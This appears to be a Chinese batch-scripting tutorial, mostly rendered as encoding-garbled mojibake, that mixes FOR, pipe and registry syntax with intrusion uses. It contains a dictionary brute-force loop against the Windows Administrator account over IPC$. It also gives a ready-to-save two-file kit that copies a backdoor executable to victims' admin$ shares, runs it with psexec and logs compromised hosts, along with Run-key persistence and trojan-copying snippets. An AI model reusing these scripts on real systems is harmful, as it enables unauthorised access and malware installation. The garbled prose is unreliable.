for 鍛戒護鏄竴涓瘮杈冨鏉傜殑鍛戒護錛屼富瑕佺敤浜庡弬鏁板湪鎸囧畾鐨勮寖鍥村唴寰幆鎵ц鍛戒護銆?br />鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢?FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺璇蜂嬌鐢?%%variable
for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 鎸囧畾涓涓崟涓瀛楁瘝鍙浛鎹㈢殑鍙傛暟銆?br />(set) 鎸囧畾涓涓垨涓緇勬枃浠躲傚彲浠ヤ嬌鐢ㄩ氶厤絎︺?br />command 鎸囧畾瀵規(guī)瘡涓枃浠舵墽琛岀殑鍛戒護銆?br />command-parameters 涓虹壒瀹氬懡浠ゆ寚瀹氬弬鏁版垨鍛戒護琛屽紑鍏熾?br />鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢?FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺璇蜂嬌鐢?%%variable
鑰屼笉瑕佺敤 %variable銆傚彉閲忓悕縐版槸鍖哄垎澶у皬鍐欑殑錛屾墍浠?%i 涓嶅悓浜?%I
濡傛灉鍛戒護鎵╁睍鍚嶈鍚敤錛屼笅鍒楅澶栫殑 FOR 鍛戒護鏍煎紡浼氬彈鍒?br />鏀寔:
FOR /D %variable IN (set) DO command [command-parameters]
濡傛灉闆嗕腑鍖呭惈閫氶厤絎︼紝鍒欐寚瀹氫笌鐩綍鍚嶅尮閰嶏紝鑰屼笉涓庢枃浠?br />鍚嶅尮閰嶃?/p>
FOR /R [[drive:]path] %variable IN (set) DO command [command-
媯鏌ヤ互 [drive:]path 涓烘牴鐨勭洰褰曟爲錛屾寚鍚戞瘡涓洰褰曚腑鐨?br />FOR 璇彞銆傚鏋滃湪 /R 鍚庢病鏈夋寚瀹氱洰褰曪紝鍒欎嬌鐢ㄥ綋鍓?br />鐩綍銆傚鏋滈泦浠呬負涓涓崟鐐?.)瀛楃錛屽垯鏋氫婦璇ョ洰褰曟爲銆?/p>
FOR /L %variable IN (start,step,end) DO command [command-para
璇ラ泦琛ㄧず浠ュ閲忓艦寮忎粠寮濮嬪埌緇撴潫鐨勪竴涓暟瀛楀簭鍒椼?br />鍥犳錛?1,1,5) 灝嗕駭鐢熷簭鍒?1 2 3 4 5錛?5,-1,1) 灝嗕駭鐢?br />搴忓垪 (5 4 3 2 1)銆?/p>
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command
鎴栬咃紝濡傛灉鏈?usebackq 閫夐」:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command
filenameset 涓轟竴涓垨澶氫釜鏂囦歡鍚嶃傜戶緇埌 filenameset 涓殑
涓嬩竴涓枃浠朵箣鍓嶏紝姣忎喚鏂囦歡閮藉凡琚墦寮銆佽鍙栧茍緇忚繃澶勭悊銆?br />澶勭悊鍖呮嫭璇誨彇鏂囦歡錛屽皢鍏跺垎鎴愪竴琛岃鐨勬枃瀛楋紝鐒跺悗灝嗘瘡琛?br />瑙f瀽鎴愰浂鎴栨洿澶氱殑絎﹀彿銆傜劧鍚庣敤宸叉壘鍒扮殑絎﹀彿瀛楃涓插彉閲忓?br />璋冪敤 For 寰幆銆備互榛樿鏂瑰紡錛?F 閫氳繃姣忎釜鏂囦歡鐨勬瘡涓琛屼腑鍒嗗紑
鐨勭涓涓┖鐧界鍙楓傝煩榪囩┖鐧借銆傛?zhèn)ㄥ彲閫氳繃鎸囧畾鍙?"options"
鍙傛暟鏇夸唬榛樿瑙f瀽鎿嶄綔銆傝繖涓甫寮曞彿鐨勫瓧絎︿覆鍖呮嫭涓涓垨澶氫釜
鎸囧畾涓嶅悓瑙f瀽閫夐」鐨勫叧閿瓧銆傝繖浜涘叧閿瓧涓?
eol=c - 鎸囦竴涓娉ㄩ噴瀛楃鐨勭粨灝?灝變竴涓?
skip=n - 鎸囧湪鏂囦歡寮濮嬫椂蹇界暐鐨勮鏁般?br />delims=xxx - 鎸囧垎闅旂闆嗐傝繖涓浛鎹簡絀烘牸鍜岃煩鏍奸敭鐨?br />榛樿鍒嗛殧絎﹂泦銆?br />tokens=x,y,m-n - 鎸囨瘡琛岀殑鍝竴涓鍙瘋浼犻掑埌姣忎釜榪唬
鐨?for 鏈韓銆傝繖浼氬鑷撮澶栧彉閲忓悕縐扮殑
鏍煎紡涓轟竴涓寖鍥淬傞氳繃 nth 絎﹀彿鎸囧畾 m
絎﹀彿瀛楃涓蹭腑鐨勬渶鍚庝竴涓瓧絎︽槦鍙鳳紝
閭d箞棰濆鐨勫彉閲忓皢鍦ㄦ渶鍚庝竴涓鍙瘋В鏋愪箣
鍒嗛厤騫舵帴鍙楄鐨勪繚鐣欐枃鏈?br />usebackq - 鎸囧畾鏂拌娉曞凡鍦ㄤ笅綾繪儏鍐典腑浣跨敤:
鍦ㄤ綔涓哄懡浠ゆ墽琛屼竴涓悗寮曞彿鐨勫瓧絎︿覆騫朵笖
寮曞彿瀛楃涓烘枃瀛楀瓧絎︿覆鍛戒護騫跺厑璁稿湪 fi
涓嬌鐢ㄥ弻寮曞彿鎵╄搗鏂囦歡鍚嶇О銆?/p>
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
浼氬垎鏋?myfile.txt 涓殑姣忎竴琛岋紝蹇界暐浠ュ垎鍙鋒墦澶寸殑閭d簺琛岋紝灝?br />姣忚涓殑絎簩涓拰絎笁涓鍙蜂紶閫掔粰 for 紼嬪簭浣擄紱鐢ㄩ楀彿鍜?鎴?br />絀烘牸瀹氱晫絎﹀彿銆傝娉ㄦ剰錛岃繖涓?for 紼嬪簭浣撶殑璇彞寮曠敤 %i 鏉?br />鍙栧緱絎簩涓鍙鳳紝寮曠敤 %j 鏉ュ彇寰楃涓変釜絎﹀彿錛屽紩鐢?%k
鏉ュ彇寰楃涓変釜絎﹀彿鍚庣殑鎵鏈夊墿浣欑鍙楓傚浜庡甫鏈夌┖鏍肩殑鏂囦歡
鍚嶏紝鎮(zhèn)ㄩ渶瑕佺敤鍙屽紩鍙峰皢鏂囦歡鍚嶆嫭璧鋒潵銆備負浜嗙敤榪欑鏂瑰紡鏉ヤ嬌
鐢ㄥ弻寮曞彿錛屾?zhèn)q橀渶瑕佷嬌鐢?usebackq 閫夐」錛屽惁鍒欙紝鍙屽紩鍙蜂細
琚悊瑙f垚鏄敤浣滃畾涔夋煇涓鍒嗘瀽鐨勫瓧絎︿覆鐨勩?/p>
%i 涓撻棬鍦?for 璇彞涓緱鍒拌鏄庯紝%j 鍜?%k 鏄氳繃
tokens= 閫夐」涓撻棬寰楀埌璇存槑鐨勩傛?zhèn)ㄥ彲浠ラ氳繃 tokens= 涓琛?br />鎸囧畾鏈澶?26 涓鍙鳳紝鍙涓嶈瘯鍥捐鏄庝竴涓珮浜庡瓧姣?/'z/' 鎴?br />/'Z/' 鐨勫彉閲忋傝璁頒綇錛孎OR 鍙橀噺鏄崟涓瀛楁瘝銆佸垎澶у皬鍐欏拰鍏ㄥ眬鐨勶紱
鍚屾椂涓嶈兘鏈?52 涓互涓婇兘鍦ㄤ嬌鐢ㄤ腑銆?/p>
鎮(zhèn)ㄨ繕鍙互鍦ㄧ浉閭誨瓧絎︿覆涓婁嬌鐢?FOR /F 鍒嗘瀽閫昏緫錛涙柟娉曟槸錛?br />鐢ㄥ崟寮曞彿灝嗘嫭鍙蜂箣闂寸殑 filenameset 鎷搗鏉ャ傝繖鏍鳳紝璇ュ瓧絎?br />涓蹭細琚綋浣滀竴涓枃浠朵腑鐨勪竴涓崟涓杈撳叆琛屻?/p>
鏈鍚庯紝鎮(zhèn)ㄥ彲浠ョ敤 FOR /F 鍛戒護鏉ュ垎鏋愬懡浠ょ殑杈撳嚭銆傛柟娉曟槸錛屽皢
鎷彿涔嬮棿鐨?filenameset 鍙樻垚涓涓弽鎷瓧絎︿覆銆傝瀛楃涓蹭細
琚綋浣滃懡浠よ錛屼紶閫掑埌涓涓瓙 CMD.EXE錛屽叾杈撳嚭浼氳鎶撹繘
鍐呭瓨錛屽茍琚綋浣滄枃浠跺垎鏋愩傚洜姝わ紝浠ヤ笅渚嬪瓙:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
浼氭灇涓懼綋鍓嶇幆澧冧腑鐨勭幆澧冨彉閲忓悕縐般?/p>
鍙﹀錛孎OR 鍙橀噺鍙傜収鐨勬浛鎹㈠凡琚寮恒傛?zhèn)ㄧ幇鍦ㄥ彲浠ヤ娇鐢ㄤ笅鍒?br />閫夐」璇硶:
~I - 鍒犻櫎浠諱綍寮曞彿(")錛屾墿鍏?%I
%~fI - 灝?%I 鎵╁厖鍒頒竴涓畬鍏ㄥ悎鏍肩殑璺緞鍚?br />%~dI - 浠呭皢 %I 鎵╁厖鍒頒竴涓┍鍔ㄥ櫒鍙?br />%~pI - 浠呭皢 %I 鎵╁厖鍒頒竴涓礬寰?br />%~nI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠跺悕
%~xI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠舵墿灞曞悕
%~sI - 鎵╁厖鐨勮礬寰勫彧鍚湁鐭悕
%~aI - 灝?%I 鎵╁厖鍒版枃浠剁殑鏂囦歡灞炴?br />%~tI - 灝?%I 鎵╁厖鍒版枃浠剁殑鏃ユ湡/鏃墮棿
%~zI - 灝?%I 鎵╁厖鍒版枃浠剁殑澶у皬
%~$PATH:I - 鏌ユ壘鍒楀湪璺緞鐜鍙橀噺鐨勭洰褰曪紝騫跺皢 %I 鎵╁厖
鍒版壘鍒扮殑絎竴涓畬鍏ㄥ悎鏍肩殑鍚嶇О銆傚鏋滅幆澧冨彉閲?br />鏈瀹氫箟錛屾垨鑰呮病鏈夋壘鍒版枃浠訛紝姝ょ粍鍚堥敭浼氭墿鍏?br />絀哄瓧絎︿覆
鍙互緇勫悎淇グ絎︽潵寰楀埌澶氶噸緇撴灉:
%~dpI - 浠呭皢 %I 鎵╁厖鍒頒竴涓┍鍔ㄥ櫒鍙峰拰璺緞
%~nxI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠跺悕鍜屾墿灞曞悕
%~fsI - 浠呭皢 %I 鎵╁厖鍒頒竴涓甫鏈夌煭鍚嶇殑瀹屾暣璺緞鍚?br />%~dp$PATH:i - 鏌ユ壘鍒楀湪璺緞鐜鍙橀噺鐨勭洰褰曪紝騫跺皢 %I 鎵╁厖
鍒版壘鍒扮殑絎竴涓┍鍔ㄥ櫒鍙峰拰璺緞銆?br />%~ftzaI - 灝?%I 鎵╁厖鍒扮被浼艱緭鍑虹嚎璺殑 DIR
鍦ㄤ互涓婁緥瀛愪腑錛?I 鍜?PATH 鍙敤鍏朵粬鏈夋晥鏁板間唬鏇褲?~ 璇硶
鐢ㄤ竴涓湁鏁堢殑 FOR 鍙橀噺鍚嶇粓姝€傞夊彇綾諱技 %I 鐨勫ぇ鍐欏彉閲忓悕
姣旇緝鏄撹錛岃屼笖閬垮厤涓庝笉鍒嗗ぇ灝忓啓鐨勭粍鍚堥敭娣鋒穯銆?/p>
浠ヤ笂鏄疢S鐨勫畼鏂瑰府鍔╋紝涓嬮潰鎴戜滑涓懼嚑涓緥瀛愭潵鍏蜂綋璇存槑涓涓婩or鍛戒護鍦ㄥ叆渚典腑鐨勭敤閫斻?/p>
sample2錛?/p>
鍒╃敤For鍛戒護鏉ュ疄鐜板涓鍙扮洰鏍嘩in2k涓繪満鐨勬毚鍔涘瘑鐮佺牬瑙c?br />鎴戜滑鐢╪et use ////ip//ipc$ "password" /u:"administrator"鏉ュ皾璇曡繖鍜岀洰鏍囦富鏈鴻繘琛岃繛鎺ワ紝褰撴垚鍔熸椂璁頒笅瀵嗙爜銆?br />鏈涓昏鐨勫懡浠ゆ槸涓鏉★細for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
鐢╥%鏉ヨ〃紺篴dmin鐨勫瘑鐮侊紝鍦╠ict.txt涓繖涓彇i%鐨勫肩敤net use 鍛戒護鏉ヨ繛鎺ャ傜劧鍚庡皢紼嬪簭榪愯緇撴灉浼犻掔粰find鍛戒護錛嶏紞
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":鍛戒護鎴愬姛瀹屾垚">>D://ok.txt 錛岃繖鏍峰氨ko浜嗐?/p>
sample3錛?/p>
浣犳湁娌℃湁榪囨墜閲屾湁澶ч噺鑲夐浮絳夌潃浣犲幓縐嶅悗闂紜鏈ㄩ┈鍛紵錛屽綋鏁伴噺鐗瑰埆澶氱殑鏃跺欙紝鍘熸湰寰堝紑蹇冪殑涓浠朵簨閮戒細鍙樺緱寰堥儊闂鳳細錛夈傛枃绔犲紑澶村氨璋堝埌浣跨敤鎵瑰鐞嗘枃浠訛紝鍙互綆鍖栨棩甯告垨閲嶅鎬т換鍔°傞偅涔堝浣曞疄鐜板憿錛熷懙鍛碉紝鐪嬩笅鍘諱綘灝變細鏄庣櫧浜嗐?/p>
涓昏鍛戒護涔熷彧鏈変竴鏉★細錛堝湪鎵瑰鐞嗘枃浠朵腑浣跨敤 FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺浣跨敤 %%variable錛?br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens鐨勭敤娉曡鍙傝涓婇潰鐨剆ample1錛屽湪榪欓噷瀹冭〃紺烘寜欏哄簭灝唙ictim.txt涓殑鍐呭浼犻掔粰door.bat涓殑鍙傛暟%i %j %k銆?br />鑰宑ultivate.bat鏃犻潪灝辨槸鐢╪et use鍛戒護鏉ュ緩绔婭PC$榪炴帴錛屽茍copy鏈ㄩ┈錛嬪悗闂ㄥ埌victim錛岀劧鍚庣敤榪斿洖鐮侊紙If errorlever =錛夋潵絳涢夋垚鍔熺妞嶅悗闂ㄧ殑涓繪満錛屽茍echo鍑烘潵錛屾垨鑰卐cho鍒版寚瀹氱殑鏂囦歡銆?br />delims= 琛ㄧずvivtim.txt涓殑鍐呭鏄竴絀烘牸鏉ュ垎闅旂殑銆傛垜鎯崇湅鍒拌繖閲屼綘涔熶竴瀹氭槑鐧借繖victim.txt閲岀殑鍐呭鏄粈涔堟牱鐨勪簡銆傚簲璇ユ牴鎹?%i %%j %%k琛ㄧず鐨勫璞℃潵鎺掑垪錛屼竴鑸氨鏄?ip password username銆?br />浠g爜闆忓艦錛?br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection 鈥︹︹︹K
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
榪欏彧鏄竴涓嚜鍔ㄧ妞嶅悗闂ㄦ壒澶勭悊鐨勯洀褰紝涓や釜鎵瑰鐞嗗拰鍚庨棬紼嬪簭錛圵indrv32.exe錛?PSexec.exe闇鏀懼湪緇熶竴鐩綍涓?鎵瑰鐞嗗唴瀹?br />灝氬彲鎵╁睍,渚嬪:鍔犲叆娓呴櫎鏃ュ織+DDOS鐨勫姛鑳?鍔犲叆瀹氭椂娣誨姞鐢ㄦ埛鐨勫姛鑳?鏇存繁鍏ヤ竴鐐瑰彲浠ヤ嬌涔嬪叿澶囪嚜鍔ㄤ紶鎾姛鑳?锠曡櫕).姝ゅ涓嶅鍋氬彊榪?鏈夊叴瓚g殑鏈嬪弸鍙嚜琛岀爺絀?
浜?濡備綍鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢ㄥ弬鏁?br />鎵瑰鐞嗕腑鍙互浣跨敤鍙傛暟錛屼竴鑸粠1%鍒?9%榪欎節(jié)涓紝褰撴湁澶氫釜鍙傛暟鏃墮渶瑕佺敤shift鏉ョЩ鍔紝榪欑鎯呭喌騫朵笉澶氳錛屾垜浠氨涓嶈冭檻瀹冧簡銆?br />sample1錛歠omat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
榪欎釜渚嬪瓙鐢ㄤ簬榪炵畫鍦版牸寮忓寲鍑犲紶杞洏錛屾墍浠ョ敤鐨勬椂鍊欓渶鍦╠os紿楀彛杈撳叆fomat.bat a錛屽懙鍛?濂藉儚鏈夌偣鐢昏泧娣昏凍浜嗭綖^_^
sample2錛?br />褰撴垜浠寤虹珛涓涓狪PC$榪炴帴鍦版椂鍊欐昏杈撳叆涓澶т覆鍛戒護錛屽紕涓嶅ソ灝辨墦閿欎簡錛屾墍浠ユ垜浠笉濡傛妸涓浜涘浐瀹氬懡浠ゅ啓鍏ヤ竴涓壒澶勭悊錛屾妸鑲夐浮鍦癷p password username 褰撶潃鍙傛暟鏉ヨ祴緇欒繖涓壒澶勭悊錛岃繖鏍峰氨涓嶇敤姣忔閮芥墦鍛戒護浜嗐?br />@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 娉ㄦ剰鍝︼紝榪欓噷PASSWORD鏄浜屼釜鍙傛暟銆?br />@if errorlevel 1 echo connection failed
鎬庝箞鏍?浣跨敤鍙傛暟榪樻槸姣旇緝綆鍗曠殑鍚э紵浣犺繖涔堝竻涓瀹氬浼氫簡^_^.No.3
涓?濡備綍浣跨敤緇勫悎鍛戒護(Compound Command)
1.&
Usage錛氱涓鏉″懡浠?& 絎簩鏉″懡浠?[& 絎笁鏉″懡浠?..]
鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝鑰屼笉綆″懡浠ゆ槸鍚︽墽琛屾垚鍔?/p>
Sample錛?br />C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage錛氱涓鏉″懡浠?&& 絎簩鏉″懡浠?[&& 絎笁鏉″懡浠?..]
鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝褰撶鍒版墽琛屽嚭閿欑殑鍛戒護鍚庡皢涓嶆墽琛屽悗闈㈢殑鍛戒護錛屽鏋滀竴鐩存病鏈夊嚭閿欏垯涓鐩存墽琛屽畬鎵鏈夊懡浠わ紱
Sample錛?br />C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.
C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
鍦ㄥ仛澶囦喚鐨勬椂鍊欏彲鑳戒細鐢ㄥ埌榪欑鍛戒護浼氭瘮杈冪畝鍗曪紝濡傦細
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E://backup
濡傛灉榪滅▼鏈嶅姟鍣ㄤ笂瀛樺湪backup.mdb鏂囦歡錛屽氨鎵цcopy鍛戒護錛岃嫢涓嶅瓨鍦ㄨ鏂囦歡鍒欎笉鎵цcopy鍛戒護銆傝繖縐嶇敤娉曞彲浠ユ浛鎹F exist浜?錛氾級
3.||
Usage錛氱涓鏉″懡浠?|| 絎簩鏉″懡浠?[|| 絎笁鏉″懡浠?..]
鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝褰撶鍒版墽琛屾紜殑鍛戒護鍚庡皢涓嶆墽琛屽悗闈㈢殑鍛戒護錛屽鏋滄病鏈夊嚭鐜版紜殑鍛戒護鍒欎竴鐩存墽琛屽畬鎵鏈夊懡浠わ紱
Sample錛?br />C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C://Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
緇勫悎鍛戒護浣跨敤鐨勪緥瀛愶細
sample錛?br />@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
鍥涖佺閬撳懡浠ょ殑浣跨敤
1.| 鍛戒護
Usage錛氱涓鏉″懡浠?| 絎簩鏉″懡浠?[| 絎笁鏉″懡浠?..]
灝嗙涓鏉″懡浠ょ殑緇撴灉浣滀負絎簩鏉″懡浠ょ殑鍙傛暟鏉ヤ嬌鐢紝璁板緱鍦╱nix涓繖縐嶆柟寮忓緢甯歌銆?/p>
sample錛?br />time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
鐪嬪嚭鏉ヤ簡涔堬紵鐢ㄤ簬緇堢鏈嶅姟鍏佽鎴戜滑涓虹敤鎴瘋嚜瀹氫箟璧峰鐨勭▼搴忥紝鏉ュ疄鐜拌鐢ㄦ埛榪愯涓嬮潰榪欎釜bat錛屼互鑾峰緱鐧誨綍鐢ㄦ埛鐨処P銆?/p>
2.>銆?gt;>杈撳嚭閲嶅畾鍚戝懡浠?br />灝嗕竴鏉″懡浠ゆ垨鏌愪釜紼嬪簭杈撳嚭緇撴灉鐨勯噸瀹氬悜鍒扮壒瀹氭枃浠朵腑, > 涓?>>鐨勫尯鍒湪浜庯紝>浼氭竻闄よ皟鍘熸湁鏂囦歡涓殑鍐呭鍚庡啓鍏ユ寚瀹氭枃浠訛紝鑰?gt;>鍙細榪藉姞鍐呭鍒版寚瀹氭枃浠朵腑錛岃屼笉浼氭敼鍔ㄥ叾涓殑鍐呭銆?/p>
sample1錛?br />echo hello world>c://hello.txt (stupid example?)
sample2:
鏃朵笅DLL鏈ㄩ┈鐩涜錛屾垜浠煡閬搒ystem32鏄釜鎹夎糠钘忕殑濂藉湴鏂癸紝璁稿鏈ㄩ┈閮藉墛灝栦簡鑴戣寰閭i噷閽伙紝DLL椹篃涓嶄緥澶栵紝閽堝榪欎竴鐐規(guī)垜浠彲浠ュ湪瀹夎濂界郴緇熷拰蹇呰鐨勫簲鐢ㄧ▼搴忓悗錛屽璇ョ洰褰曚笅鐨凟XE鍜孌LL鏂囦歡浣滀竴涓褰曪細
榪愯CMD--杞崲鐩綍鍒皊ystem32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
榪欐牱鎵鏈夌殑EXE鍜孌LL鏂囦歡鐨勫悕縐伴兘琚垎鍒褰曞埌exeback.txt鍜宒llback.txt涓?
鏃ュ悗濡傚彂鐜板紓甯鎬絾鐢ㄤ紶緇熺殑鏂規(guī)硶鏌ヤ笉鍑洪棶棰樻椂,鍒欒鑰冭檻鏄笉鏄郴緇熶腑宸茬粡娼滃叆DLL鏈ㄩ┈浜?
榪欐椂鎴戜滑鐢ㄥ悓鏍風(fēng)殑鍛戒護灝唖ystem32涓嬬殑EXE鍜孌LL鏂囦歡璁板綍鍒板彟澶栫殑exeback1.txt鍜宒llback1.txt涓?鐒跺悗榪愯:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(鐢‵C鍛戒護姣旇緝鍓嶅悗涓ゆ鐨凞LL鍜孍XE鏂囦歡,騫跺皢緇撴灉杈撳叆鍒癲iff.txt涓?,榪欐牱鎴戜滑灝辮兘鍙戠幇涓浜涘鍑烘潵鐨凞LL鍜孍XE鏂囦歡,鐒跺悗閫氳繃鏌ョ湅鍒涘緩鏃墮棿銆佺増鏈佹槸鍚︾粡榪囧帇緙╃瓑灝辮兘澶熸瘮杈冨鏄撳湴鍒ゆ柇鍑烘槸涓嶆槸宸茬粡琚獶LL鏈ㄩ┈鍏夐【浜嗐傛病鏈夋槸鏈濂斤紝濡傛灉鏈夌殑璇濅篃涓嶈鐩存帴DEL鎺夛紝鍏堢敤regsvr32 /u trojan.dll灝嗗悗闂―LL鏂囦歡娉ㄩ攢鎺?鍐嶆妸瀹冪Щ鍒板洖鏀剁珯閲岋紝鑻ョ郴緇熸病鏈夊紓甯稿弽鏄犲啀灝嗕箣褰誨簳鍒犻櫎鎴栬呮彁浜ょ粰鏉姣掕蔣浠跺叕鍙搞?/p>
3.< 銆?gt;& 銆?lt;&
< 浠庢枃浠朵腑鑰屼笉鏄粠閿洏涓鍏ュ懡浠よ緭鍏ャ?br />>& 灝嗕竴涓彞鏌勭殑杈撳嚭鍐欏叆鍒板彟涓涓彞鏌勭殑杈撳叆涓?br /><& 浠庝竴涓彞鏌勮鍙栬緭鍏ュ茍灝嗗叾鍐欏叆鍒板彟涓涓彞鏌勮緭鍑轟腑銆?br />榪欎簺騫朵笉甯哥敤錛屼篃灝變笉澶氬仛浠嬬粛銆?/p>
No.5
浜?濡備綍鐢ㄦ壒澶勭悊鏂囦歡鏉ユ搷浣滄敞鍐岃〃
鍦ㄥ叆渚佃繃紼嬩腑緇忓父鍥炴搷浣滄敞鍐岃〃鐨勭壒瀹氱殑閿兼潵瀹炵幇涓瀹氱殑鐩殑錛屼緥濡?涓轟簡杈懼埌闅愯棌鍚庨棬銆佹湪椹▼搴忚屽垹闄un涓嬫畫浣欑殑閿箋傛垨鑰呭垱寤轟竴涓湇鍔$敤浠ュ姞杞藉悗闂ㄣ傚綋鐒舵垜浠篃浼氫慨鏀規(guī)敞鍐岃〃鏉ュ姞鍥虹郴緇熸垨鑰呮敼鍙樼郴緇熺殑鏌愪釜灞炴э紝榪欎簺閮介渶瑕佹垜浠娉ㄥ唽琛ㄦ搷浣滄湁涓瀹氱殑浜嗚В銆備笅闈㈡垜浠氨鍏堝涔犱竴涓嬪浣曚嬌鐢?REG鏂囦歡鏉ユ搷浣滄敞鍐岃〃.(鎴戜滑鍙互鐢ㄦ壒澶勭悊鏉ョ敓鎴愪竴涓猂EG鏂囦歡)
鍏充簬娉ㄥ唽琛ㄧ殑鎿嶄綔錛屽父瑙佺殑鏄垱寤恒佷慨鏀廣佸垹闄ゃ?/p>
1.鍒涘緩
鍒涘緩鍒嗕負涓ょ錛屼竴縐嶆槸鍒涘緩瀛愰」(Subkey)
鎴戜滑鍒涘緩涓涓枃浠訛紝鍐呭濡備笅錛?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]
鐒跺悗鎵ц璇ヨ剼鏈紝浣犲氨宸茬粡鍦℉KEY_LOCAL_MACHINE//SOFTWARE//Microsoft涓嬪垱寤轟簡涓涓悕瀛椾負鈥渉acker鈥濈殑瀛愰」銆?/p>
鍙︿竴縐嶆槸鍒涘緩涓涓」鐩悕縐?br />閭h繖縐嶆枃浠舵牸寮忓氨鏄吀鍨嬬殑鏂囦歡鏍煎紡錛屽拰浣犱粠娉ㄥ唽琛ㄤ腑瀵煎嚭鐨勬枃浠舵牸寮忎竴鑷達紝鍐呭濡備笅錛?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02
榪欐牱灝卞湪[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]涓?br />鏂板緩浜?Invader銆乨oor銆乤bout榪欎笁涓」鐩?br />Invader鐨勭被鍨嬫槸鈥淪tring Value鈥?br />door鐨勭被鍨嬫槸鈥淩EG SZ Value鈥?br />Autodos鐨勭被鍨嬫槸鈥淒WORD Value鈥?/p>
2.淇敼
淇敼鐩稿鏉ヨ姣旇緝綆鍗曪紝鍙鎶婁綘闇瑕佷慨鏀圭殑欏圭洰瀵煎嚭錛岀劧鍚庣敤璁頒簨鏈繘琛屼慨鏀癸紝鐒跺悗瀵煎叆錛坮egedit /s錛夊嵆鍙?/p>
3.鍒犻櫎
鎴戜滑棣栧厛鏉ヨ璇村垹闄や竴涓」鐩悕縐幫紝鎴戜滑鍒涘緩涓涓涓嬬殑鏂囦歡錛?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-
鎵ц璇ヨ剼鏈紝[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]涓嬬殑"Ex4rch"灝辮鍒犻櫎浜嗭紱
聽
--------------------------------------------------------------------------------
浠ヤ笂涓鴻漿杞藉唴瀹?/p>
%CD%聽聽 褰撳墠璺緞current directory
ITH305 http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html
聽
鎵瑰鐞哻opy鐗瑰畾鍚嶇О鐩綍鐨勫唴瀹癸細
